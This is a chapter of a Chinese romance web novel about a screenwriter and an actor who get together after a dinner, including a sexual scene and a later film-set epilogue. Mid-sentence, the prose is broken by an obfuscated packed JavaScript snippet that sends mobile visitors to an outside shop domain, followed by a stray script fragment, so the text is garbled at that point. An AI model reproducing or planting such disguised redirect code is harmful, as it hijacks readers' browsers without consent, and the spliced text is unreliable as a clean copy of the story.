文趣网 > 都市小说 > 丛林[娱乐圈] > 20. 番外
    许丛生其实有点讲不好她和林旸到底是怎么在一起的。

    那好像就是很稀里糊涂地就发生了的一件事。

    没有学生时代最喜欢看的偶像剧里一定会准备的鲜花,没有谁郑重其事地问一句“你愿不愿意做我女朋友”,甚至连一句正儿八经的“我喜欢你”都没有,事情就这么稀里糊涂地发生了。

    后来许丛生想了想,觉得成年人的事情大概总是这样,十几岁时要在脑子里排练八百遍的东西,到了快三十岁,可能只需要一个晚上、一顿饭,以及半杯酒——

    还有长达十二年的爱恋。

    那句“我喜欢你”,已经毫无保留地讲了太多太多遍,多到已经不需要再反复提起,已经全然刻进了骨头里,变成了本能。

    那天是《长生》第三次完整剧本围读结束,张捷做东,请一群人去附近吃饭。

    林旸照旧没能逃过那半杯。

    也不能说醉得多厉害,他喝醉以后向来不闹,就是反应比平时慢一点,眼睛看人时会停得久一点。旁边的人说一句话,他得过半秒才转过去,偶尔别人讲了个笑话,整桌人都笑完了,他才后知后觉地弯起眼睛跟着笑。

    许丛生坐在对面一直盯着看,看完又觉得自己没事找事,低头继续吃饭。

    散场以后,人陆陆续续走了。

    李康照旧去地下停车场取车,许丛生叫的网约车还有十二分钟,于是两个人又是莫名其妙地一起坐在了路边吹冷风。

    夜里很安静。

    饭店门口偶尔有人出来,远处车辆一辆接一辆开过去,车轮碾过路面的声音时远时近。许丛生低头看了两次手机,第一次显示还有五分钟,第二次还是五分钟,她觉得这个司机大概是骑着乌龟来的。

    林旸就站在旁边,可谁都没有说话。

    倒也不尴尬。

    旧事早已经翻了出来,十二年前的消息也全都看了个遍,该知道的不该知道的全知道得差不多,按理说应该已经没有什么值得忐忑的。

    可偏偏就是因为知道得太多,那层原先还能装傻充愣的东西突然没了,两个人反而谁也不知道第一句话到底应该从哪里开始。

    许丛生心里乱糟糟地堆着一团说不上是火气还是燥气的憋闷,人多时倒是还好,有各种事情可以分心,可一旦和林旸两个人单独相处,一切便好像又是另一种模式。

    焦躁、难熬,沉默的空气让人更加心焦气躁。

    想要更进一步,却不知道该不该更进一步。

    许丛生觉得空气里像埋了颗炸弹。

    引线都已经露在外面,火药也早就塞得满满当当,偏偏四周没有火,所以它就那么横在那里,谁都知道马上要炸,可偏偏就是炸不了。

    就在这时,许丛生的手机突然“叮咚”了一声。

    【司机已到达附近,请注意来车。】

    声音并不大,却像有人突然蹲下来,一根火柴“嚓”地擦过了引线。

    冷不丁地,许丛生突然抬起了头,没头没脑地蹦出来了一句话——

    “你要不要跟我上车?”

    “我能不能跟你上车?”

    林旸几乎是同时间开了口。

    话音落下的那一刻,世界突然死了。

    许丛生看着林旸,林旸也看着她。

    刚才还只是微微有点红的耳朵肉眼可见地一路烧了起来,林旸大概是真的喝得有点醉了,反应比平时慢,他张了张嘴,半天没说出来第二句话。

    许丛生觉得自己应该好不到哪里去。

    她能明显地感觉到自己的脸很烫,像烧起来了,或者是那颗炸弹在心里头炸了个体无完肤。许丛生一时间觉得自己是不是耳背,听错了。

    一辆黑色轿车就在这时缓缓停到他们面前。车窗降下来,司机探出头:“尾号?”

    许丛生脑子一片空白,她忽然想不起来自己的手机尾号是多少,可嘴巴还是凭着多年来打车练出来的肌肉记忆,非常流畅地报出了四个数字。

    司机点头:“对的,上来吧。”

    许丛生机械地伸手拉开后座车门,机械地坐进去,又机械地关上半扇门。下一秒,一只手从门外伸进来,轻轻推了一下她的肩膀。

    “往里一点。”

    “哦......哦。”

    许丛生非常干巴巴地应了一声,往里面挪,林旸弯腰钻了进来。

    车不大,他个子又高,长腿收进来的时候显得格外委屈,膝盖几乎顶到了前座靠背。

    许丛生忽然冒出一个非常无关紧要的念头——早知道今天会突然豪言壮语邀请一个一米九的大男人跟她回家,她就不该为了省那八块钱选最便宜的网约车。

    真委屈这个一米九大明星。

    这个念头刚冒出来,许丛生又觉得不对。

    她,一个一米七二的大聪明,本来只想平平安安回家睡觉,怎么就这么猖狂地开了这个口。

    车里安静得离谱。

    司机倒是很自在,开着导航,甚至还放了首不知道多少年前的老歌。许丛生死死盯着车窗外,觉得路边每一个红绿灯今天都慢得出奇,可又觉得这辆车开得太快了,最好再堵个两小时。

    或许堵了两个小时之后,林旸就会突然反悔,打算打个车回自己酒店了。

    可就这么一路浑浑噩噩地到了小区门口,许丛生硬着头皮往前走了两步,却发现身后还不依不饶地跟着脚步声。

    她回过头,林旸跟在后面,站在那里,低头看她。

    口罩遮掩着大部分面庞,显得他的眼睛比平时更亮一点。

    两人就隔着不到一米的距离,你看着我,我看着你,夜里的风从两人中间穿过去,把他额前的碎发吹得有点乱,许丛生突然在想,她又不是什么贞洁烈女,这么大一块肖想了十多年的肥肉站在这儿,哪有不吃的道理。

    后来林旸说,他当时也是这么想的。

    所以等许丛生回过神来的时候,她已经仰着头和林旸亲在了一起。

    事情发生的非常突然,甚至可以说是突然到可以说是鬼迷心窍了。

    大门刚关上,鞋都还没脱,也不知道是林旸先托着许丛生的后脑勺压下来,还是许丛生先扯着林旸的领子往下面拽,但在许丛生的大脑回归神志时,她已经觉得有点呼吸不畅了。

    头仰了太久,脖颈子疼,许丛生内心里突然觉得夸了林旸十多年的大长腿在此刻实在是鸡肋,这不是诚心让她得颈椎病吗。

    接着她脑袋里又乱糟糟地想,想自己也是终于演上可以仰望骑士的公主了,而不是一米七二的公主去俯视一米五的文晓霖骑士。

    接着她又想到其实不当公主也行,骑士也是可以多权篡位变成国王的,接着许丛生又想当上国王了之后那一定是要娶个漂亮男人的。

    她看林旸就不错,长得很好,手也很好看,手指修长,搭在她后脑勺的时候温温热热的,甚至都没有让她的头真的碰到柜门,许丛生非常满意。

    随后许丛生突然想起来,家里没套。

    “等、等一下——”

    许丛生猛地推开了林旸。

    林旸明显没反应过来,往后退了半步,呼吸也有些乱。他低头看她,眼睛里还有刚才没有褪干净的湿亮,神情却第一时间认真起来。

    “怎么了?”

    许丛生张了张嘴,却没憋出半个字来。

    “哪儿不舒服?”

    “没有。”

    “我弄疼你了?”

    “也......没有。”

    “那……”

    许丛生觉得自己的脸又开始升温。

    这怎么说。

    她一个单身了快三十年——严格意义上说,是从出生起就没有谈过恋爱的人,要怎么非常自然、非常成熟、非常成年地告诉另一个成年男人:不好意思,家里没套,要不咱们择日再战。

    许丛生觉得自己办不到。

    理论知识她当然有,人活到这么大,谁还没看过点有的没的。没吃过猪肉,那也见过猪跑,没见过猪跑,那也见过别人碗里的猪肉。

    尤其文晓霖那个畜生,平时画的就没几本能光明正大摆在书店儿童区,每次许丛生去杭市找她,还总被她以“学习人体结构”为由强行塞一堆乱七八糟的东西。

    当然,许丛生郑重声明,她不是自愿的。如果帽子叔叔哪天找上门,她一定第一时间举报文晓霖。

    可理论归理论,真的到了提着刀真枪实干的时候,许丛生还是慌了。

    要不然——

    要不然今天就到这儿吧。

    做人不能太贪心,做人要循序渐进,成年人也不可以急于求成,成年人才不能急于求成——

    “叮咚。”

    门铃突然响了。

    许丛生吓得一激灵,接着门外传来外卖员隔着门板有点模糊的声音:“外卖放门口咯!”

    说完后,脚步声很快远去。

    许丛生愣了一下,寻思着她也没叫外卖啊,接着地上亮起一道光。

    许丛生低下头。

    林旸的手机不知道什么时候掉在了地板上,屏幕刚好亮起来,上面显示着一条外卖平台通知。

    【您的订单已送达。】

    许丛生心里猛地升起来一股荒谬的猜想,她突然想起刚才林旸在车上问她家里地址,接着在手机上捣鼓着什么。

    许丛生当时脑袋乱哄哄的——当然,现在也乱得要死——可她还以为他只是好奇她住在哪里,打算存在地图上,根本没有想到什么其他。

    或许确实也存在了地图上。

    可是——可是、

    许丛生战战兢兢地抬起了头,而林旸正垂眼看着她。

    大概是酒意还没完全散,他的眼神湿漉漉的,有点迷离,像是隔着一层薄薄的雾。刚才亲得久了,嘴唇比平时更红,甚至微微有些肿,唇上还沾着一点湿亮的光。

    许丛生盯着看了两秒,脑子又莫名其妙地发散开来,稀里糊涂地蹦出来一个问题:到底是林旸这张嘴保养得太好,受不得一点刺激,还是她刚才真的有点饥不择食,硬生生给人做了个免费丰唇?

    念头一出来,脸上原本就没退下

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17879377|212072||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    去的热意瞬间又烧了起来。

    烧得很疼。

    像刚才那颗炸弹炸出来的火星还没有熄灭,噼里啪啦地在脑子里乱蹦,眼皮烫得发涩,许丛生下意识地往后缩了一点。

    林旸却突然俯下身来。

    他本来就比她高出许多,这么靠近以后,宽大的肩背几乎将她整个人罩在门与自己之间。许丛生呼吸一滞,身体本能地又往后贴了贴,再下一刻,一只手从她腰侧绕过去,撑住了门。

    “外卖。”他说。

    声音还有点哑。

    哦。

    外卖。

    许丛生觉得自己大概真的有病。

    门被推开一道缝。

    林旸几乎是环着她把外头那个纸袋拎了进来,手臂从她身侧收回时,袖口轻轻蹭了一下她的腰。明明隔着衣服,许丛生却莫名觉得那一点触感格外清楚,她连动都没敢动一下。

    紧接着许丛生看到了袋子里的东西。

    三盒。

    整整齐齐。

    三盒安全套。

    许丛生艰难地咽了口口水。

    鬼使神差地,她蹦出来了一句:“这么多吗?”

    林旸垂着眼看她。

    他的耳朵还是红的,脸上倒看不太出什么,只有那双眼睛湿润得厉害。过了会儿,他忽地说:“不够还可以再点。”

    许丛生“哦”了一声,紧接着突然一愣。

    “......啊?!”

    许丛生突然有一瞬间在思考,是不是人活到这个岁数,自动就知道男人和女人躺在床上之后要怎么做要做什么。

    虽然最开始还是很尴尬地摸索了半天。

    林旸刚艰难探进去个头,许丛生突然觉得酒醒了。本着喝点儿酒可以壮胆的原则,许丛生慌慌张张往后一蹿,抓了一件落在地上的衣裳,想冲去厨房搞瓶酒喝。

    可还没走两步,林旸忽然就追了上来,热烘烘地往她身上一帖,双手环过胸口,温热的气息喷洒在颈侧:“你又要逃走吗?”

    腰窝抵了截滚烫的枪杆子,尺寸有些过于触目惊心,实在无法让人忽略。

    许丛生莫名有点心虚。

    她想说她不是临阵脱逃,穿上衣服只是没当着人家面光着跑来跑去,她又没去过大澡堂子,她害臊,可话到嘴边,就剩下几个支支吾吾地字:“我就是想来……来一杯。”

    林旸没听明白。

    他像只大型宠物犬,就那样挂在她许丛生身上,湿漉漉地唇瓣来来回回碾着颈肉,纤瘦却有力的手指反复游走。

    许丛生突然有点庆幸自己有常年负重上蹿下跳的丰富经验,比如扛着二三十公斤的摄影设备上山,比如穿着十来公斤的铠甲演舞台剧,所以她才能硬生生地扛着一个一米九的大男人蹒跚到冰箱前。

    许丛生打开冰箱门,给自己猛灌了一瓶果啤。

    林旸瞧着她满冰箱的酒,“噗嗤”一下笑了:“我就说你一定喜欢橙子口味的。”

    许丛生晕晕乎乎地想,大爷的,这个人为什么笑起来会这么好看。

    那天她其实有点不记得她是几点起的了。

    或者说,那天她起了几次睡了几次她有点没印象了。

    大概能记得的就是特别渴,喝了好几瓶酒,嗓子哑得有点疼,腿也很软,腰很酸,林旸有点太猖狂了,看脸真的想不到会这样,她是真的有点吃不消——呸。

    想到此,许丛生突然有点庆幸今天是星期天。

    不然明天请一天假吧。

    许丛生突然觉得按照现在的情况来讲,在办公室坐八个小时好像会很困难。

    哦对,许丛生记得的还有李康的电话像夺命连环call一样烦人。

    许丛生想,或许从以前到现在唯一没变的不是对林旸的喜爱,是对那个讨人厌的经纪人李康的厌恶。

    “对了,我打算入股张捷导演的公司。”许丛生忽然说。

    林旸从剧本里抬起头,侧过脸认真看她。

    那天他还穿着戏服,属于李长生的粗布麻衣外面随手罩了件长羽绒服,风起风落,假发束成的高马尾飘起了几缕。

    片场另一头忽然传来一阵嘈杂。

    张捷正仰着头指挥工作人员给配角小队重新调威亚高度,几个穿着戏服的人悬在半空中,一会儿高一会儿低,远远看去颇有些滑稽。

    “下一本小说我不打算开男频。”许丛生笑了笑,朝远处正在跟威亚师比划的张捷扬了扬下巴,“不过再下一本,说不定还能用得上这个班底。”

    林旸笑弯了眼:“那再下一本,能不能给我一个试镜的机会?”

    许丛生眯起眼睛,故意把他从头到脚打量了一遍:“那得看你的实力够不够拿到我的本子,又或者......”

    许丛生“嘿嘿”一笑:“或者再过两年,坐在那台监视器前的人,是我呢?”

    林旸扬了扬眉,满脸写着“果然如此”。接着他弯起了唇角:“那到时候就请许导多多指教?”

    许丛生拍了拍他的肩膀,给了他一个“当然”的得意神情。